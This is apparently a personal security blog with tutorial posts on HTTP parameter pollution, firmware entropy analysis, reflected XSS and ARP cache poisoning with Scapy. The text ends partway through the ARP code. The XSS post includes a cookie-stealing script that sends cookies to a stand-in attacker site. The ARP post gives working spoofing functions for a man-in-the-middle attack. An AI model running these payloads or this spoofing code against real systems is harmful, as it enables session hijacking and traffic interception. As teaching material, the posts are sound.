<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://www.google.com/search?q=fsec404
</code></pre></div></div>
<p><img src="../../assets/images/hpp/1.png" alt="q-param" /></p>
<p>Well, what happens if we change the above URL to <code class="language-plaintext highlighter-rouge">https://www.google.com/search?q=fsec404&q=phreak</code>?
If we type in the URL in our browser, we see the following.</p>
<p><img src="../../assets/images/hpp/2.png" alt="q-param" /></p>
<p>We see that Google concatenates the two query strings (<code class="language-plaintext highlighter-rouge">fsec404</code> and <code class="language-plaintext highlighter-rouge">phreak</code>) and searches for the resulting string. But not all web servers behave in this manner. Let’s see how an apache web server handles multiple parameter with the same name by running the following php file.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><html></span>
<span class="nt"><head></span>
<span class="nt"><title></span>Search Test<span class="nt"></title></span>
<span class="nt"></head></span>
<span class="nt"><body></span>
<span class="cp"><?php</span>
<span class="k">if</span> <span class="p">(</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"q"</span><span class="p">])</span> <span class="o">&&</span> <span class="o">!</span><span class="nb">empty</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"q"</span><span class="p">]))</span> <span class="p">{</span>
<span class="k">echo</span> <span class="s2">"You have searched for "</span> <span class="mf">.</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"q"</span><span class="p">]</span> <span class="mf">.</span> <span class="s2">"!"</span><span class="p">;</span>
<span class="k">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
<span class="cp">?></span>
<span class="nt"><form</span> <span class="na">method=</span><span class="s">get</span> <span class="na">action=</span><span class="s">""</span><span class="nt">></span>
Input: <span class="nt"><input</span> <span class="na">name=</span><span class="s">"q"</span><span class="nt">></span>
<span class="nt"></form></span>
<span class="nt"></body></span>
<span class="nt"></html></span>
</code></pre></div></div>
<p>The resulting page is shown in the following.</p>
<p><img src="../../assets/images/hpp/3.png" alt="q-param" /></p>
<p>If we enter in <code class="language-plaintext highlighter-rouge">fsec404</code>, we get the following.</p>
<p><img src="../../assets/images/hpp/4.png" alt="q-param" /></p>
<p>Now, like before, if we change the URL to <code class="language-plaintext highlighter-rouge">http://osp/websec/search.php?q=fsec404&q=phreak</code>, we get the following result.</p>
<p><img src="../../assets/images/hpp/5.png" alt="q-param" /></p>
<p>We can see that only the second instance of <code class="language-plaintext highlighter-rouge">q</code> is being echoed onto the page. You might wonder what the problem is. Well, consider the scenario where a banking application sends a request, such as the following.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>insecure-bank/transfer.php?from=ac1&to=ac2&value=100
</code></pre></div></div>
<p>If we change the above to</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>insecure-bank/transfer.php?from=ac1&to=ac2&value=100&to=attackers-ac
</code></pre></div></div>
<p>When the bank processes the request, the money, instead of being transferred to ac2, is sent to the attacker’s account.</p>
<h1 id="parameter-pollution-in-social-share-buttons">Parameter Pollution in Social Share Buttons</h1>
<p>Another place where HTTP parameter pollution is prevalent is the share buttons on most websites. When we click on the facebook share button, a request is sent that looks like</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://www.facebook.com/sharer/sharer.php?u=example.html
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">u</code> parameter specifies the URL of the page we want to share. If we change the original URL to</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://example.html?&u=https://fsec404.github.io
</code></pre></div></div>
<p>and click on the facebook share button, if the website does not sanitize the URL, then the following request will be sent to facebook.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://www.facebook.com/sharer/sharer.php?u=example.html&u=https://fsec404.github.io
</code></pre></div></div>
<p>Since facebook’s web servers use the last value of the supplied parameter, <code class="language-plaintext highlighter-rouge">fsec404.github.io</code> is shared instead of <code class="language-plaintext highlighter-rouge">example.html</code>.</p>
<h1 id="examples-of-hpp-in-social-buttons-that-i-have-found">Examples of HPP in Social Buttons That I have Found</h1>
<p>Testing as many sites as possible over a weekend, I was able to find HPP in 9 websites. One notable site was PayPal. The <code class="language-plaintext highlighter-rouge">stories</code> directory was vulnerable to HPP and can be seen below.</p>
<p><img src="../../assets/images/hpp/pay1.png" alt="q-param" />
<img src="../../assets/images/hpp/pay2.png" alt="q-param" /></p>
<p>I have notified PayPal on Hackerone but was informed that it wasn’t a true security threat. Well, I guess I need to look for different bugs.</p>
<p>To automate this process, I have also written a simple script that uses a brute-force approach by checking each link on the user-supplied domain to find instances of parameter pollution. The script is available on my Github <a href="https://github.com/venkat-abhi/URL-Share-HTTP-Parameter-Pollution-Tester">page</a>. Note that it doesn’t find links dynamically inserted by javascript. To account for this, I have tried using requests_html package but the package was too slow and kept throwing many errors. If you guys have any suggestions, please let me know. That’s it for this post.</p>Abhishek K VenkataIntroductionA Look At Entropy Analysis2019-08-22T00:00:00+00:002019-08-22T00:00:00+00:00https://fsec404.github.io/blog/Shanon-entropy<p>I have recently delved into firmware analysis to look for vulnerabilities and came across the vital concept of entropy used in visual firmware analysis. So what is it?</p>
<h1 id="entropy">Entropy</h1>
<p>Taking the definition from <a href="http://www.fourmilab.ch/random/">fourmilab</a>, it is the information density or randomness of the contents of the file. In simple terms, it is the measure of the number of bits required to represent each character appearing in the file. Let’s say we have the following string</p>
<p><code class="language-plaintext highlighter-rouge">aabbccaaccbb</code></p>
<p>By looking at the patterns, we can say that the number of bits required to represent the whole string will be low as we can replace each pattern with a reduced number of bits. However, take a look at the following string.</p>
<p><code class="language-plaintext highlighter-rouge">abdcdabcdad</code></p>
<p>The patterns previously present are no longer there. This will mean that we will need a higher number of bits to represent the above string.</p>
<p>Ok, that’s all well and good, but how does this apply to firmware analysis. Well, using the above concept and identifying that compressed and encrypted data have much higher entropy than other data, we can distinguish the various regions of the firmware.</p>
<p>Before we start calculating the region based entropy, let’s calculate the entropy for the entire file using <code class="language-plaintext highlighter-rouge">Shannon entropy</code>. The formula is shown below.</p>
<p><img src="../../assets/images/entropy/shanon-form.png" alt="shanon" /></p>
<p>The same rewritten in python is shown below.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">information_entropy</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
<span class="c1"># Create a counter for all the 256 different possible values
</span> <span class="n">possible_vals</span> <span class="o">=</span> <span class="nb">dict</span><span class="p">(((</span><span class="nb">chr</span><span class="p">(</span><span class="n">x</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">256</span><span class="p">)))</span>
<span class="c1"># Increment the counter if the byte has the same value as one of the keys
</span> <span class="k">for</span> <span class="n">byte</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span>
<span class="n">possible_vals</span><span class="p">[</span><span class="nb">chr</span><span class="p">(</span><span class="n">byte</span><span class="p">)]</span> <span class="o">+=</span><span class="mi">1</span>
<span class="n">data_len</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="n">entropy</span> <span class="o">=</span> <span class="mf">0.0</span>
<span class="c1"># Compute the entropy of the data
</span> <span class="k">for</span> <span class="n">count</span> <span class="ow">in</span> <span class="n">possible_vals</span><span class="p">:</span>
<span class="k">if</span> <span class="n">possible_vals</span><span class="p">[</span><span class="n">count</span><span class="p">]</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="k">continue</span>
<span class="n">p</span> <span class="o">=</span> <span class="nb">float</span><span class="p">(</span><span class="n">possible_vals</span><span class="p">[</span><span class="n">count</span><span class="p">]</span> <span class="o">/</span> <span class="n">data_len</span><span class="p">)</span>
<span class="n">entropy</span> <span class="o">-=</span> <span class="n">p</span> <span class="o">*</span> <span class="n">math</span><span class="p">.</span><span class="n">log</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span>
<span class="k">return</span> <span class="n">entropy</span>
</code></pre></div></div>
<p>Running the above function with the input as one of TP Link’s router firmware (TL-WR841Nv14), we get the following output. We can see in the same image that the value is correct by looking at the output from fourmilab’s ENT.</p>
<p><img src="../../assets/images/entropy/1.png" alt="Ent-output" /></p>
<p>Also, to show that compressed or encrypted data have much higher entropy, we run the same code on <code class="language-plaintext highlighter-rouge">sample-text.txt</code> which contains fifty paragraphs of random text from an online text generator.</p>
<p><img src="../../assets/images/entropy/sample-text.png" alt="sample-text" /></p>
<p>The entropy of the file and the compressed file is shown below.</p>
<p><img src="../../assets/images/entropy/entropy-sample-text.png" alt="entropy-sample" /></p>
<p>Now, to identify regions of higher entropy in between files, we add the following python function.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">chunk_wise_entropy</span><span class="p">(</span><span class="n">file_data</span><span class="p">):</span>
<span class="n">entropy_chunk</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">offset_chunk</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">counter</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">data_len</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">file_data</span><span class="p">)</span>
<span class="k">if</span> <span class="n">file_data</span><span class="p">:</span>
<span class="k">while</span> <span class="n">counter</span> <span class="o"><=</span> <span class="n">data_len</span><span class="p">:</span>
<span class="n">entropy_chunk</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">information_entropy</span><span class="p">(</span><span class="n">file_data</span><span class="p">[</span><span class="n">counter</span><span class="p">:</span><span class="n">counter</span><span class="o">+</span><span class="n">CHUNK_SIZE</span><span class="p">]))</span>
<span class="n">offset_chunk</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">counter</span><span class="p">)</span>
<span class="n">counter</span> <span class="o">+=</span> <span class="n">CHUNK_SIZE</span>
<span class="n">plot_entropy</span><span class="p">(</span><span class="n">entropy_chunk</span><span class="p">,</span> <span class="n">offset_chunk</span><span class="p">)</span>
</code></pre></div></div>
<p>The above function divides the entire file into chunks of the specified size and calculates the entropy for each chunk. Each chunk’s entropy is stored in a list which we can use to plot the region based entropy.</p>
<h1 id="results">Results</h1>
<p>Calculating the entropy of each chunk of the file helps us identify regions in the file where there might be compressed or encrypted data. To test this, I have put the compressed text file between the uncompressed file in the manner shown below.</p>
<p><img src="../../assets/images/entropy/3.png" alt="main-text" /></p>
<p>On running the script on <code class="language-plaintext highlighter-rouge">main-test</code>, we get the following result.</p>
<p><img src="../../assets/images/entropy/4.png" alt="main-graph" /></p>
<p>We can very clearly distinguish the compressed region by looking at the region with the high entropy. This is because the file <code class="language-plaintext highlighter-rouge">main-test</code> has contents in the order <code class="language-plaintext highlighter-rouge">sample-text | compressed-text | sample-text</code>. Since the compressed text is in between the file, the region in the middle has a much higher entropy when compared to the rest.</p>
<p>Testing this on TP Link’s firmware, we get the following result.</p>
<p><img src="../../assets/images/entropy/tp-entropy.png" alt="TP-Entropy" /></p>
<p>Looking at binwalk’s results (shown below) and the above image, we can see that at the start of the headers, there is a drop in the entropy (eg. after 1000000) and then a sharp rise in entropy for the compressed regions. In this manner, we can identify the compressed and encrypted regions of most files.</p>
<p><img src="../../assets/images/entropy/binwalk-out.png" alt="TP-Entropy" /></p>
<p>To test your files, you can get the entire code from my github <a href="https://github.com/venkat-abhi/Entropy-Calculator">page</a>.</p>
<h2 id="another-application">Another Application</h2>
<p>Most malware, to avoid AV detection, encrypt most of their code with just the unpacker left alone so that it can, during run time, decrypt the file and load it. By calculating the region based entropy and comparing it with existing samples, we can quickly classify malware. This is the basis for <a href="https://sites.cs.ucsb.edu/~vigna/publications/2013_NGMAD_SARVAM.pdf">SARVAM</a>, which is a fast malware classifier.</p>
<p>That’s it for this post. Please let me know what you think.</p>Abhishek K VenkataI have recently delved into firmware analysis to look for vulnerabilities and came across the vital concept of entropy used in visual firmware analysis. So what is it?An Introduction to Cross-Site Scripting2019-08-13T00:00:00+00:002019-08-13T00:00:00+00:00https://fsec404.github.io/blog/Reflected-XSS<h1 id="introduction">Introduction</h1>
<p>So you’ve learned to create a PHP form recently and are very excited to set up a website with this form. You might think, “Ah, it’s just a simple form, what could go wrong?”. Well, you wouldn’t be the first one to believe that.</p>
<p>So let’s take a look at a form that I have written.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><!DOCTYPE html></span>
<span class="nt"><html></span>
<span class="nt"><body></span>
<span class="nt"><h1></span>Simple PHP Form<span class="nt"></h1></span>
<span class="nt"><form</span> <span class="na">method=</span><span class="s">"GET"</span> <span class="na">action=</span><span class="s">"</span><span class="cp"><?php</span> <span class="k">echo</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'PHP_SELF'</span><span class="p">];</span><span class="cp">?></span><span class="s">"</span><span class="nt">></span>
Name: <span class="nt"><input</span> <span class="na">type=</span><span class="s">"text"</span> <span class="na">name=</span><span class="s">"fname"</span><span class="nt">></span>
<span class="nt"><input</span> <span class="na">type=</span><span class="s">"submit"</span><span class="nt">></span>
<span class="nt"></form></span>
<span class="cp"><?php</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s2">"REQUEST_METHOD"</span><span class="p">]</span> <span class="o">==</span> <span class="s2">"GET"</span><span class="p">)</span> <span class="p">{</span>
<span class="k">echo</span> <span class="s2">"<p>Hi "</span> <span class="mf">.</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'fname'</span><span class="p">]</span> <span class="mf">.</span> <span class="s2">"!</p>"</span><span class="p">;</span>
<span class="p">}</span>
<span class="cp">?></span>
<span class="nt"></body></span>
<span class="nt"></html></span>
</code></pre></div></div>
<p>Below we can see the form in the browser.</p>
<p><img src="../../assets/images/xss/1.png" alt="Simple Form" /></p>
<p>After typing in my name, we get the following output.</p>
<p><img src="../../assets/images/xss/2.png" alt="Input in Form" /></p>
<p>Now you might be thinking “isn’t this how the form should work”. But what if someone submits the following text as input.</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><b></span>Abhishek<span class="nt"></b></span>
</code></pre></div></div>
<p>We get the following output.</p>
<p><img src="../../assets/images/xss/3.png" alt="Form Output" /></p>
<p>Wait, what? So if you pass in an HTML tag, the output is modified based on the tag. This is because when the PHP code echos the content of ‘fname,’ the resulting HTML sent back from the server looks like this.</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><p></span>Hi <span class="nt"><b></span>Abhishek<span class="nt"></b></span>!<span class="nt"></p></span>
</code></pre></div></div>
<p>This can be verified by looking at the source.</p>
<p><img src="../../assets/images/xss/5.png" alt="Page-Source-Inject-1" /></p>
<p>When the browser looks at the HTML, it sees the <code class="language-plaintext highlighter-rouge"><b></code> tag and thinks that text in between is supposed to be rendered bold. This ability to pass in HTML code is known as HTML injection. This has a lot of implications (well other than being able to stylize your output). What if we were to pass javascript code in the text field. Let’s try the following input.</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o"><</span><span class="nx">script</span><span class="o">></span><span class="nx">alert</span><span class="p">(</span><span class="dl">"</span><span class="s2">test</span><span class="dl">"</span><span class="p">);</span><span class="o"><</span><span class="sr">/script</span><span class="err">>
</span></code></pre></div></div>
<p>We get the following output.</p>
<p><img src="../../assets/images/xss/4.png" alt="JS in Form" /></p>
<p>So why did this happen? Well, this is because like in the previous example, we were able to inject code into the page returned by the server. This can be seen by looking at the source.</p>
<p><img src="../../assets/images/xss/xss-1.png" alt="Form-Source-JS" /></p>
<p>When the browser sees the <code class="language-plaintext highlighter-rouge"><script></code> tag, it immediately runs the codes in between. What we saw above is called Cross-Site Scripting (XSS), more specifically Reflected XSS. It is reflected since the script passed in as input is bounced from the web server back to the user’s browser.</p>
<p>So what can we do with this? An alert box might not be harmful to the user, but what about the case where the user is logged in. If we pass the following as input</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o"><</span><span class="nx">script</span><span class="o">></span><span class="nx">alert</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="p">)</span><span class="o"><</span><span class="sr">/script</span><span class="err">>
</span></code></pre></div></div>
<p>we get the following output.</p>
<p><img src="../../assets/images/xss/6.png" alt="cookie" /></p>
<p>Since the cookie is retrievable, the attacker can, once he gets the cookie, log in as the user and wreak havoc. One way the attacker can retrieve the cookies is by setting up a web server and sending the URL with the malicious code to a target. When the user clicks on the link, his/her browser will then send the cookies to the attacker’s server. An example of such an URL is as.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://vulnerable-website?param=<script>window.location="http://attackers-site.com/?cookie=" + document.cookie</script>
</code></pre></div></div>
<p>The cookie is sent as a GET value which the attacker can then view on his/her server.</p>
<h1 id="well-how-can-we-prevent-xss">Well, how can we prevent XSS?</h1>
<p>Some of the ways we can prevent XSS are:</p>
<ul>
<li>Escaping all dynamic content, i.e., replace any characters that the browser will interpret with something called entities. For example, <code class="language-plaintext highlighter-rouge"><</code> is replaced with <code class="language-plaintext highlighter-rouge">&lt;</code>. This means that when the page is returned back to the user, the browser sees <code class="language-plaintext highlighter-rouge">&lt;</code>, and renders it instead of interpreting it. Dynamic content is encoded by default by most modern frameworks. The following two functions can also be used.</li>
</ul>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>htmlspecialchars(): encodes special characters to HTML entities,
strip_tags(): removes the tags altogether and returns the inner text.
</code></pre></div></div>
<p>Let’s use the two functions and see what happens.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><!DOCTYPE html></span>
<span class="nt"><html></span>
<span class="nt"><body></span>
<span class="nt"><h1></span>Simple PHP Form<span class="nt"></h1></span>
<span class="nt"><form</span> <span class="na">method=</span><span class="s">"GET"</span> <span class="na">action=</span><span class="s">'</span><span class="cp"><?php</span> <span class="k">echo</span> <span class="nb">htmlspecialchars</span><span class="p">(</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s2">"PHP_SELF"</span><span class="p">],</span> <span class="no">ENT_QUOTES</span><span class="p">,</span> <span class="s2">"utf-8"</span><span class="p">);</span> <span class="cp">?></span><span class="s">'</span><span class="nt">></span>
Name: <span class="nt"><input</span> <span class="na">type=</span><span class="s">"text"</span> <span class="na">name=</span><span class="s">"fname"</span><span class="nt">></span>
<span class="nt"><input</span> <span class="na">type=</span><span class="s">"submit"</span><span class="nt">></span>
<span class="nt"></form></span>
<span class="cp"><?php</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s2">"REQUEST_METHOD"</span><span class="p">]</span> <span class="o">==</span> <span class="s2">"GET"</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$first_name</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'fname'</span><span class="p">];</span>
<span class="nv">$first_name</span> <span class="o">=</span> <span class="nb">htmlspecialchars</span><span class="p">(</span><span class="nv">$first_name</span><span class="p">);</span>
<span class="nv">$first_name</span> <span class="o">=</span> <span class="nb">strip_tags</span><span class="p">(</span><span class="nv">$first_name</span><span class="p">);</span>
<span class="k">echo</span> <span class="s2">"<p>Hi "</span> <span class="mf">.</span> <span class="nv">$first_name</span> <span class="mf">.</span> <span class="s2">"!</p>"</span><span class="p">;</span>
<span class="p">}</span>
<span class="cp">?></span>
<span class="nt"></body></span>
<span class="nt"></html></span>
</code></pre></div></div>
<p>Now when we try to input javascript code, we get the following ouput.</p>
<p><img src="../../assets/images/xss/specialchars-1.png" alt="encoded" /></p>
<p>By looking at the source, we can see that the tags are converted to entities and are rendered instead of interpreted by the browser.</p>
<p><img src="../../assets/images/xss/sourcechars.png" alt="source-encoded" /></p>
<ul>
<li>
<p>Another step that can be added is to use a whitelist. If a field can accept only a finite number of different inputs, we can check if the user-supplied data is in the whitelist. If the user passes in invalid data, we can simply reject it.</p>
</li>
<li>
<p>A more comprehensive solution is to use a Web Application Firewall (WAF). The WAF sits between the server and the client and filters out any message that contains malicious code. An open-source implementation of a WAF is that can be utilized (with care!) is provided by ModSecurity.</p>
</li>
</ul>
<p>Note that this post serves to only give a basic idea on XSS. With attackers coming up with new XSS attack vectors regularly, we must keep ourselves updated to stay safe. For an in depth guide on XSS, check out OWASPs post on <a href="https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)">XSS</a>. In a later post, I will talk about Stored XSS.</p>Abhishek K VenkataIntroduction So you’ve learned to create a PHP form recently and are very excited to set up a website with this form. You might think, “Ah, it’s just a simple form, what could go wrong?”. Well, you wouldn’t be the first one to believe that.A Look into Arp Cache Poisoning and Using It to Perform MITM Attack2019-07-24T00:00:00+00:002019-07-24T00:00:00+00:00https://fsec404.github.io/blog/arp-cache-poisoning-and-mitm<h1 id="what-is-arp">What is ARP?</h1>
<p>At the lowest level, a switch connects a bunch of hosts together. If a protocol P on a host S wants to send some information to another host R on the network, S needs to find out the Ethernet address of R before it can transmit the packet. There must be a mapping of the address of R in protocol Ps address space to a 48-bit Ethernet address, to get the Ethernet address of R. The Address Resolution Protocol (ARP) provides this resolution.</p>
<p>In IPv4 over Ethernet, the sender or receiver protocol address refers to the IP address of the sender or receiver. The hardware address refers to the 48-bit Ethernet address. To resolve a host with an IP address, say for example X.X.X.X, S broadcasts (Target hardware address is FF:FF:FF:FF:FF:FF or all 1s) out an ARP request with the sender protocol address field set to our IP address, say for example Y.Y.Y.Y, asking</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> Who is X.X.X.X? tell Y.Y.Y.Y
</code></pre></div></div>
<p>All the hosts on the network check to see if the target IP address matches their IP address on receiving the ARP request. The host ‘X.X.X.X,’ on seeing that its IP address matches the one in the ARP request, sends out an ARP reply to ‘Y.Y.Y.Y’ with its Ethernet address. Once S receives the ARP response from R, it adds the Ethernet address of R to a cache table and starts sending out whatever packets protocol P has to send.</p>
<p>The following image gives an example of an ARP request and response.</p>
<p><img src="../../assets/images/arp-spoofing/wireshark-arp.png" alt="ARP Packet Format" /></p>
<h2 id="arp-messages">ARP Messages</h2>
<p>The ARP packet has the following format.</p>
<p><img src="../../assets/images/arp-spoofing/main-arp-format.png" alt="ARP Packet Format" /></p>
<p>In the above image, we can see that there is a field <em>Opcode</em>. This field specifies the nature of
the ARP messages being sent. In this blog post, we are mainly concerned with the sender’s and receiver’s source and destination address in the following two types of ARP messages.</p>
<ol>
<li>ARP Request, and</li>
<li>ARP Reply</li>
</ol>
<h1 id="arp-spoofing">ARP Spoofing</h1>
<p>The main issue of ARP lies in the fact that there is no authentication of the ARP reply, i.e., any host can send an ARP reply claiming to be the Target. There is no check done by ARP to verify if the host that has sent the ARP reply is whom it claims to be.</p>
<p>If host A wants to send data to host B on the same network, it will first resolve the hardware address using host B’s IP address, and then sends the data. If we send an ARP reply claiming to be host B, host A will update its cache with our Ethernet address. All subsequent messages are sent to us. If instead host A wants to send data to a host X, not on the same network, host A will send it to the default gateway which will then forward the message to the appropriate router. To intercept these messages, we need to send an ARP reply claiming to be the default gateway. Once we poison the target’s cache, we can either choose to forward the packets performing a man-in-the-middle attack (MITM) or drop them performing a denial of service attack.</p>
<h2 id="performing-arp-cache-poisoning-with-scapy">Performing ARP Cache Poisoning With Scapy</h2>
<p>We can poison a target’s ARP cache by sending spoofed ARP responses. Before we can send
the spoofed ARP messages, we need the target’s MAC address. To get the MAC address, we
can send an ARP request to the target. This can be done in the following manner.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">get_mac</span><span class="p">(</span><span class="n">ip</span><span class="p">):</span>
<span class="c1"># Create an ARP packet with the target as the destination
</span> <span class="n">arp</span> <span class="o">=</span> <span class="n">Ether</span><span class="p">()</span><span class="o">/</span><span class="n">ARP</span><span class="p">(</span><span class="n">pdst</span><span class="o">=</span><span class="n">ip</span><span class="p">)</span>
<span class="c1"># Send the ARP request and get the response
</span> <span class="n">resp</span> <span class="o">=</span> <span class="n">srp1</span><span class="p">(</span><span class="n">arp</span><span class="p">)</span>
<span class="c1"># Return the target's MAC address
</span> <span class="k">return</span> <span class="p">(</span><span class="n">resp</span><span class="p">[</span><span class="n">Ether</span><span class="p">].</span><span class="n">src</span><span class="p">)</span>
</code></pre></div></div>
<p>Once we get the target’s MAC address, we can now poison its cache by sending a spoofed ARP response. The target might flush it’s ARP cache and send out an ARP request to the actual destination. To prevent it from overwriting our spoofed ARP cache entry, we must continuously keep sending it spoofed ARP responses. We can achieve this by using the function <em>poison_arp_cache</em> given below. The function <em>poison_arp_cache</em> must be looped until the attacker wants to stop the attack.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">poison_arp_cache</span><span class="p">(</span><span class="n">target_ip</span><span class="p">,</span> <span class="n">target_mac_addr</span><span class="p">,</span> <span class="n">spoofed_ip</span><span class="p">,</span> <span class="n">spoofed_mac_addr</span><span class="o">=</span><span class="n">Ether</span><span class="p">().</span><span class="n">src</span><span class="p">):</span>
<span class="c1"># Create the ARP response
</span> <span class="n">spoofed_resp</span> <span class="o">=</span> <span class="n">Ether</span><span class="p">()</span><span class="o">/</span><span class="n">ARP</span><span class="p">()</span>
<span class="c1"># Set the destination MAC address
</span> <span class="n">spoofed_resp</span><span class="p">[</span><span class="n">Ether</span><span class="p">].</span><span class="n">dst</span> <span class="o">=</span> <span class="n">target_mac_addr</span>
<span class="n">spoofed_resp</span><span class="p">[</span><span class="n">ARP</span><span class="p">].</span><span class="n">hwdst</span> <span class="o">=</span> <span class="n">target_mac_addr</span>
<span class="c1"># Set the destination IP address
</span> <span class="n">spoofed_resp</span><span class="p">[</span><span class="n">ARP</span><span class="p">].</span><span class="n">pdst</span> <span class="o">=</span> <span class="n">target_ip</span>
<span class="c1"># Set the spoofed MAC address
</span> <span class="n">spoofed_resp</span><span class="p">[</span><span class="n">Ether</span><span class="p">].</span><span class="n">src</span> <span class="o">=</span> <span class="n">spoofed_mac_addr</span>
<span class="n">spoofed_resp</span><span class="p">[</span><span class="n">ARP</span><span class="p">].</span><span class="n">hwsrc</span> <span class="o">=</span> <span class="n">spoofed_mac_addr</span>
<span class="c1"># Set the spoofed IP address
</span> <span class="n">spoofed_resp</span><span class="p">[</span><span class="n">ARP</span><span class="p">].</span><span class="n">psrc</span> <span class="o">=</span> <span class="n">spoofed_ip</span>
<span class="c1"># is-at (response)
</span> <span class="n">spoofed_resp</span><span class="p">[</span><span class="n">ARP</span><span class="p">].</span><span class="n">op</span> <span class="o">=</span> <span class="mi">2</span>
<span class="c1">#print(spoofed_resp[0].show())
</span> <span class="n">sendp</span><span class="p">(</span><span class="n">spoofed_resp</span><span class="p">)</span>
</code></pre></div></div>
<p>On trying the above function with the target as a Raspberry Pi 3B+ on the same network as my
laptop, I got the following results.</p>
<h3 id="before-arp-cache-poisoning">Before ARP Cache Poisoning</h3>
<p><img src="../../assets/images/arp-spoofing/pi-arp-table-before.png" alt="ARP Packet Format" /></p>
<h3 id="after-arp-cache-poisoning">After ARP Cache Poisoning</h3>
<p><img src="../../assets/images/arp-spoofing/pi-arp-table-after.png" alt="ARP Packet Format" /></p>
<p>We can see that we have successfully overwritten the target’s cache table with my laptop’s MAC address. All subsequent messages will now be sent to my laptop. But to prevent a DOS attack, we must forward the packets to the destination. This involves poisoning the destination’s ARP cache table too. If the destination is not on the same network, we must poison the default gateway’s cache table. To poison the default gateway, we need its IP address and MAC address. We can get them in the following manner.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">get_default_gateway_details</span><span class="p">():</span>
<span class="c1"># Send a request to any host outside our network with the TTL set to 0
</span> <span class="n">p</span> <span class="o">=</span> <span class="n">srp1</span><span class="p">(</span><span class="n">Ether</span><span class="p">()</span><span class="o">/</span><span class="n">IP</span><span class="p">(</span><span class="n">dst</span><span class="o">=</span><span class="s">"www.google.com"</span><span class="p">,</span> <span class="n">ttl</span> <span class="o">=</span> <span class="mi">0</span><span class="p">)</span><span class="o">/</span><span class="n">ICMP</span><span class="p">()</span><span class="o">/</span><span class="s">"XXXXXXXXXXX"</span><span class="p">)</span>
<span class="c1"># Return the source's IP address and MAC address
</span> <span class="k">return</span> <span class="n">p</span><span class="p">[</span><span class="n">IP</span><span class="p">].</span><span class="n">src</span><span class="p">,</span> <span class="n">p</span><span class="p">[</span><span class="n">Ether</span><span class="p">].</span><span class="n">src</span>
</code></pre></div></div>
<p>In the <em>get_default_gateway_ip</em> function, since the TTL is set to zero, the first host on the route which is the default gateway, responds with an ICMP error message (TTL Zero During Transit). The function then reads the ICMP error message to get the default gateway’s IP address and MAC address.</p>
<p>Using the information we got from the <em>get_default_gateway_details</em> function, we can perform the MITM attack. All the above functions can be called from a single function <em>perform_mitm</em> which poisons
both the target’s and default gateway’s ARP cache.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">perform_mitm</span><span class="p">(</span><span class="n">target_ip</span><span class="p">):</span>
<span class="c1"># Get default gateway's network details
</span> <span class="n">default_gateway_ip</span><span class="p">,</span> <span class="n">default_gateway_mac</span> <span class="o">=</span> <span class="n">get_default_gateway_details</span><span class="p">()</span>
<span class="c1"># Get target's MAC address
